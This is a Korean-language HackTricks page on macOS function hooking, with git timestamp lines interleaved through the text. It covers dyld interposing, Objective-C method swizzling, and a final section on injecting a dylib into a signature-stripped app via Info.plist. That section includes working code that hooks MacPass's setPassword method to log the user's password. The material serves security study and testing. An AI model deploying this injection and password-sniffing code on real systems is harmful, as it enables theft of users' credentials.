2024-02-10 21:30:13 +00:00
# macOS 함수 후킹
2023-05-18 13:13:47 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-04 09:09:21 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2023-05-18 13:13:47 +00:00
< / details >
2024-02-10 21:30:13 +00:00
## 함수 Interposing
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
**원본** 함수와 **대체** 함수를 참조하는 **함수 포인터**의 튜플을 포함하는 ** `__interpose` ** 섹션(또는 ** `S_INTERPOSING` ** 플래그가 지정된 섹션)이 있는 **dylib**를 생성합니다.
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
그런 다음, ** `DYLD_INSERT_LIBRARIES` **를 사용하여 dylib를 **주입**합니다(Interposing은 주 앱이 로드되기 전에 발생해야 합니다). 물론, [** `DYLD_INSERT_LIBRARIES` **의 사용에 적용되는 [**제한 사항** ](../macos-proces-abuse/macos-library-injection/#check-restrictions )도 여기에 적용됩니다]. 
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
### printf Interpose
2023-05-18 13:13:47 +00:00
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
2024-02-10 21:30:13 +00:00
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
int ret = printf("Hello from interpose\n");
return ret;
2023-05-18 13:13:47 +00:00
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void * )(unsigned long)& printf };
```
{% endcode %}
{% endtab %}
{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
2024-02-10 21:30:13 +00:00
printf("Hello World!\n");
return 0;
2023-05-18 13:13:47 +00:00
}
```
2024-02-10 21:30:13 +00:00
```c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
int open(const char *pathname, int flags) {
orig_open_type orig_open;
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
printf("Opening file: %s\n", pathname);
return orig_open(pathname, flags);
}
2023-09-25 17:41:06 +00:00
2024-02-10 21:30:13 +00:00
FILE *fopen(const char *pathname, const char *mode) {
orig_fopen_type orig_fopen;
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
printf("Opening file: %s\n", pathname);
return orig_fopen(pathname, mode);
}
```
이 코드는 `open` 및 `fopen` 함수를 후킹하여 파일이 열릴 때마다 해당 파일의 경로를 출력합니다. `dlsym` 함수를 사용하여 원래 함수에 대한 포인터를 가져온 다음, 후킹 함수에서 해당 원래 함수를 호출하고 경로를 출력합니다. 이렇게 함으로써 파일이 열릴 때마다 경로를 확인할 수 있습니다.
2023-09-25 17:41:06 +00:00
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
2024-02-10 21:30:13 +00:00
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_ ##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) & _replacement, \
(const void*) (unsigned long) & _replacee \
};
2023-09-25 17:41:06 +00:00
int my_printf(const char *format, ...)
{
2024-02-10 21:30:13 +00:00
int ret = printf("Hello from interpose\n");
return ret;
2023-09-25 17:41:06 +00:00
}
DYLD_INTERPOSE(my_printf,printf);
```
{% endtab %}
2023-05-18 13:13:47 +00:00
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
2023-09-25 17:41:06 +00:00
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
2023-05-18 13:13:47 +00:00
```
2024-02-10 21:30:13 +00:00
## 메소드 스위즐링
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
ObjectiveC에서 메소드는 다음과 같이 호출됩니다: ** `[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]` **
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
**객체**, **메소드** , **파라미터**가 필요합니다. 그리고 메소드가 호출되면 ** `objc_msgSend` ** 함수를 사용하여 **메시지가 전송**됩니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
객체는 ** `someObject` **, 메소드는 ** `@selector(method1p1:p2:)` **, 인자는 **value1** , **value2**입니다.
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
객체 구조를 따라가면 메소드의 **이름**과 **메소드 코드의 포인터**가 **위치**한 **메소드 배열**에 도달할 수 있습니다.
2023-05-18 23:23:01 +00:00
2023-05-19 13:45:28 +00:00
{% hint style="danger" %}
2024-02-10 21:30:13 +00:00
메소드와 클래스는 이름을 기반으로 액세스되므로 이 정보는 바이너리에 저장되어 있으므로 `otool -ov </path/bin>` 또는 [`class-dump </path/bin>` ](https://github.com/nygard/class-dump )을 사용하여 검색할 수 있습니다.
2023-05-19 13:45:28 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
### 원시 메소드에 액세스하기
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
다음 예제와 같이 메소드의 정보(이름, 파라미터 수, 주소 등)에 액세스할 수 있습니다:
2023-05-18 23:23:01 +00:00
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
2024-02-10 21:30:13 +00:00
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector (length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount ; i + + ) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
2023-05-18 23:23:01 +00:00
}
2024-02-10 21:30:13 +00:00
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString * (*)(id, SEL))objc_msgSend)(str, @selector (uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector (uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### method\_exchangeImplementations을 사용한 메소드 스위즐링
함수 ** `method_exchangeImplementations` **은 **다른 함수의 구현**의 **주소**를 **변경**하는 것을 가능하게 합니다.
2023-09-25 17:41:06 +00:00
{% hint style="danger" %}
2024-02-10 21:30:13 +00:00
따라서 함수가 호출될 때 **다른 함수가 실행**됩니다.
2023-09-25 17:41:06 +00:00
{% endhint %}
2023-05-18 23:23:01 +00:00
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
2024-02-10 21:30:13 +00:00
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
2023-05-18 23:23:01 +00:00
}
@end
int main(int argc, const char * argv[]) {
2024-02-10 21:30:13 +00:00
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector (substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector (swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
2023-05-18 23:23:01 +00:00
}
```
2023-09-25 17:41:06 +00:00
{% hint style="warning" %}
2024-02-10 21:30:13 +00:00
이 경우, **합법적인** 메소드의 **구현 코드**가 **메소드 이름**을 확인한다면, 이 스위즐링을 감지하고 실행을 방지할 수 있습니다.
2023-09-25 17:41:06 +00:00
2024-02-10 21:30:13 +00:00
다음 기술에는 이러한 제한이 없습니다.
2023-09-25 17:41:06 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
### method\_setImplementation을 사용한 메소드 스위즐링
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
이전 형식은 이상합니다. 왜냐하면 한 메소드의 구현을 다른 메소드로 변경하고 있기 때문입니다. ** `method_setImplementation` ** 함수를 사용하여 한 메소드의 구현을 다른 메소드로 **변경**할 수 있습니다.
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
새로운 구현에서 이전 구현을 호출할 경우, 나중에 해당 주소를 찾기가 훨씬 복잡해지므로, **원래 구현의 주소를 저장**해 두는 것을 기억하세요.
2023-05-18 23:23:01 +00:00
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
2024-02-10 21:30:13 +00:00
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(* )(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
2023-05-18 23:23:01 +00:00
}
@end
int main(int argc, const char * argv[]) {
2024-02-10 21:30:13 +00:00
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
2023-05-18 23:23:01 +00:00
2024-02-10 21:30:13 +00:00
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector (substringFromIndex:));
2023-05-19 13:45:28 +00:00
2024-02-10 21:30:13 +00:00
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector (swizzledSubstringFromIndex:)));
2023-05-19 13:45:28 +00:00
2024-02-10 21:30:13 +00:00
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
2023-05-19 13:45:28 +00:00
2024-02-10 21:30:13 +00:00
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
2023-05-19 13:45:28 +00:00
2024-02-10 21:30:13 +00:00
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
2023-05-19 13:45:28 +00:00
2024-02-10 21:30:13 +00:00
return 0;
}
}
```
## 후킹 공격 방법론
이 페이지에서는 함수 후킹하는 다양한 방법에 대해 논의되었습니다. 그러나 이들은 **프로세스 내에서 코드를 실행하여 공격**하는 것을 포함합니다.
이를 위해 가장 쉬운 기술은 [환경 변수 또는 하이재킹을 통한 Dyld 주입 ](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md )을 사용하는 것입니다. 그러나 [Dylib 프로세스 주입 ](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port )을 통해서도 이를 수행할 수 있다고 생각합니다.
그러나 두 가지 옵션 모두 **보호되지 않은** 이진 파일/프로세스에 **제한**이 있습니다. 제한 사항에 대해 자세히 알아보려면 각 기술을 확인하십시오.
그러나 함수 후킹 공격은 매우 특정한 공격입니다. 공격자는 이를 통해 프로세스 내에서 **민감한 정보를 탈취**할 것입니다 (그렇지 않다면 프로세스 주입 공격을 수행할 것입니다). 이러한 민감한 정보는 MacPass와 같은 사용자가 다운로드한 앱에 위치할 수 있습니다.
2023-05-19 13:45:28 +00:00
2024-02-10 21:30:13 +00:00
따라서 공격자는 취약점을 찾거나 애플리케이션의 서명을 제거하여 애플리케이션의 Info.plist를 통해 ** `DYLD_INSERT_LIBRARIES` ** 환경 변수를 주입할 것입니다. 다음과 같이 추가합니다:
2023-05-19 13:45:28 +00:00
```xml
< key > LSEnvironment< / key >
< dict >
2024-02-10 21:30:13 +00:00
< key > DYLD_INSERT_LIBRARIES< / key >
< string > /Applications/Application.app/Contents/malicious.dylib< / string >
2023-05-19 13:45:28 +00:00
< / dict >
```
2024-02-10 21:30:13 +00:00
그런 다음 **애플리케이션을 다시 등록**합니다:
2023-09-25 17:41:06 +00:00
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
2024-02-10 21:30:13 +00:00
해당 라이브러리에 정보를 유출하기 위한 후킹 코드를 추가합니다: 비밀번호, 메시지...
2023-05-19 13:45:28 +00:00
2023-09-25 17:41:06 +00:00
{% hint style="danger" %}
2024-02-10 21:30:13 +00:00
macOS의 최신 버전에서는 애플리케이션 이진 파일의 서명을 제거하고 이전에 실행되었다면, macOS는 해당 애플리케이션을 더 이상 실행하지 않습니다.
2023-09-25 17:41:06 +00:00
{% endhint %}
2024-02-10 21:30:13 +00:00
#### 라이브러리 예제
2023-09-25 17:41:06 +00:00
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
2024-02-10 21:30:13 +00:00
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
2023-09-25 17:41:06 +00:00
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
2024-02-10 21:30:13 +00:00
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector (setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
2023-09-25 17:41:06 +00:00
}
```
2024-02-10 21:30:13 +00:00
## 참고 자료
2023-05-18 23:23:01 +00:00
* [https://nshipster.com/method-swizzling/ ](https://nshipster.com/method-swizzling/ )
2023-05-18 13:13:47 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 제로에서 영웅까지 AWS 해킹 배우기< strong > !< / strong > < / summary >
2023-05-18 13:13:47 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-04 09:09:21 +00:00
2024-02-10 21:30:13 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* 독점적인 [**NFT** ](https://opensea.io/collection/the-peass-family ) 컬렉션인 [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요.
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
2023-05-18 13:13:47 +00:00
< / details >